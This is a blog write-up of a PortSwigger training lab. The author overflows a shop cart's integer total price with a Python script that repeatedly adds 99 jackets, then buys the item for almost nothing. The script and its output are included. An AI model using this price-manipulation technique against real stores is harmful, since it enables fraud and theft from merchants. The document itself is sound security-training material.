siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Low-level logic flaw | Dec 20, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Low-level logic flaw! Without further ado, let’s dive in.

Background

This lab doesn’t adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a “Lightweight l33t leather jacket”.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Home page:

Login as user wiener:

Let’s try to buy the leather jacket!

When we clicked the Add to cart button, it’ll send a POST request to /cart, with parameter productId=1, redir=PRODUCT and quantity=1.

Let’s forward that request and check out the /cart page:

We can see that the leather jacket has been added to our cart.

Now, what if we send the quantity value to a negative value? Like -2:

Hmm… It doesn’t have a negative quantity of products.

In the Add to cart button’s HTML form, we can see that the quantity has a maximum number:

<form id=addToCartForm action=/cart method=POST>
	<input required type=hidden name=productId value=1>
	<input required type=hidden name=redir value=PRODUCT>
	<input required type=number min=0 max=99 name=quantity value=1>
	<button type=submit class=button>Add to cart</button>
</form>

As you can, the minimum number is 0, and the maximum is 99.

What if I go over 99?

Hmm… Invalid parameter.

Now, what if the total price is greater than a maximum value of an integer? (Integer overflow)

If the total price is greater than 2147483647, will the price went to 0?

To do so, I’ll keep buying 99 leather jackets in a python script:

#!/usr/bin/env python3

import requests
import re
from threading import Thread
from time import sleep

def sendAndGetRequest(url, cookie, data):
    # Send a POST request to /cart, which buying 99 quantity of the leather jacket
    requests.post(url, cookies=cookie, data=data)

    # Send a GET request to /cart, which fetches all the text in that page
    requestGetText = requests.get(url, cookies=cookie).text

    # Try to find the total price
    try:
        # Find pattern $1234.00 or -$1234.00
        matchedTotalPrice = re.findall(r'(\-?\$[0-9]+\.[0-9]{2})', requestGetText)
        print(f'[*] Total price = {matchedTotalPrice[2]}')
    # If couldn't find the total price, display the total price to $1337.00
    except IndexError:
        print('[*] Total price = $1337.00')

def main():
    url = 'https://0aff007003e8750ec056ea21007000ed.web-security-academy.net/cart'
    cookie = {'session': 'EFLAO76m0lWVnRY8CykNMObFTksFmX9B'}
    data = {
        'productId': '1',
        'redir': 'PRODUCT',
        'quantity': 99
    }

    # Create 350 jobs
    for job in range(350):
        # Create each thread to run function sendAndGetRequest(url, cookie, data)
        thread = Thread(target=sendAndGetRequest, args=(url, cookie, data))
        # Start the thread
        thread.start()
        # Sleep 0.2s to prevent max retries exceeded with url error
        sleep(0.2)

if __name__ == '__main__':
    main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Business-Logic-Vulnerabilities/BLV-5]
└─# python3 exploit.py
[*] Total price = $1323630.00
[...]
[*] Total price = $21310443.00
[*] Total price = -$21374503.96
[...]
[*] Total price = -$64060.96
[*] Total price = $200665.04
[...]
[*] Total price = $1127206.04

As you can see, when the total price reached greater than 2147483647, the value will become negative, then it’ll go back to positive again!

Now, let’s decrease the quantity of the leather jacket, so that the total price will become affordable for us:

Hmm… Still greater than $100. Let’s -1 the quantity again, and buy other products:

Let’s go with Sprout More Brain Power:

Let’s buy 528 that product: (2.32 * 528 = 1224.96)

Nice! Now we can buy those products! Let’s click the Place order button:

We did it!

What we’ve learned:

  1. Low-level logic flaw